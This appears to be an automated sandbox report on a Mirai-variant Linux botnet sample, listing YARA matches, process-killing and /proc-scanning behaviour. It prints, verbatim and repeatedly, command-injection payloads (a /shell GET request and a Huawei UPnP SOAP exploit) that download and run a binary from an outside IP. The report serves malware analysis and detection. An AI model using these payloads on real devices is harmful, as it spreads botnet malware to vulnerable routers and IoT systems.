Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

System Summary

Malicious sample detected (through community Yara rule)

Source: ettmalware2, type: SAMPLE	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: ettmalware2, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6806.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: 6806.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6817.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: 6817.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6813.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: 6813.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 2516, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 3289, result: no such process	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 6835, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 7818, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 8180, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 8540, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 8740, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 9052, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 9188, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 9548, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 9721, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 10061, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 10197, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 10557, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 10700, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 10952, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 11053, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 11295, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 11382, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 11514, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 11586, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 11754, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 11833, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 11886, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 2516, result: no such process	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 3289, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 7758, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 8140, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 8500, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 9119, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 9452, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 10129, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 10489, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 11005, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 11263, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 11550, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 11710, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 11906, result: successful	Jump to behavior

Source: ettmalware2, type: SAMPLE	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: ettmalware2, type: SAMPLE	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: ettmalware2, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6813.1.000000000901f000.0000000009020000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 6817.1.000000000901f000.0000000009020000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 6806.1.000000000901f000.0000000009020000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 6806.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 6806.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: 6806.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6817.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 6817.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: 6817.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6813.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 6813.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: 6813.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research

Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 2516, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 3289, result: no such process	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 6835, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 7818, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 8180, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 8540, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 8740, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 9052, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 9188, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 9548, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 9721, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 10061, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 10197, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 10557, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 10700, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 10952, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 11053, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 11295, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 11382, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 11514, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 11586, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 11754, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 11833, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	SIGKILL sent: pid: 11886, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 2516, result: no such process	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 3289, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 7758, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 8140, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 8500, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 9119, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 9452, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 10129, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 10489, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 11005, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 11263, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 11550, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 11710, result: successful	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6816)	SIGKILL sent: pid: 11906, result: successful	Jump to behavior

Source: ELF static info symbol of initial sample

.symtab present: no

Source: Initial sample

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: classification engine

Classification label: mal100.spre.troj.lin@0/248@0/0

Source: /sbin/resolvconf (PID: 7717)	Mkdir executable: /bin/mkdir -> mkdir -p /run/resolvconf/interface	Jump to behavior
Source: /sbin/resolvconf (PID: 8695)	Mkdir executable: /bin/mkdir -> mkdir -p /run/resolvconf/interface	Jump to behavior
Source: /sbin/resolvconf (PID: 9681)	Mkdir executable: /bin/mkdir -> mkdir -p /run/resolvconf/interface	Jump to behavior
Source: /sbin/resolvconf (PID: 10660)	Mkdir executable: /bin/mkdir -> mkdir -p /run/resolvconf/interface	Jump to behavior
Source: /sbin/resolvconf (PID: 11375)	Mkdir executable: /bin/mkdir -> mkdir -p /run/resolvconf/interface
Source: /sbin/resolvconf (PID: 11812)	Mkdir executable: /bin/mkdir -> mkdir -p /run/resolvconf/interface

Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/8099/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/9188/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3485/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3484/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/1062/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3482/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3481/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/1060/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3479/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3512/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3477/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/1452/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/514/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3632/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/11586/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/6747/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3518/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/1339/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/8540/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3497/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3133/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3496/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/9076/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/1072/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3491/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/483/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3527/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/10700/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/11514/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3525/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3524/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/1346/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3523/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3488/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3920/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/11754/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/1363/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3541/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/1362/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/1084/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3262/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3380/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/496/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/531/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/410/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3377/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/1078/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/535/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/6766/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/10197/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/10474/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/6802/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/1119/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/10086/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/6785/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/11053/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/11295/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3431/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/1095/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/542/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3546/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3303/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3545/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3543/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/822/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/669/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/6812/exe	Jump to behavior
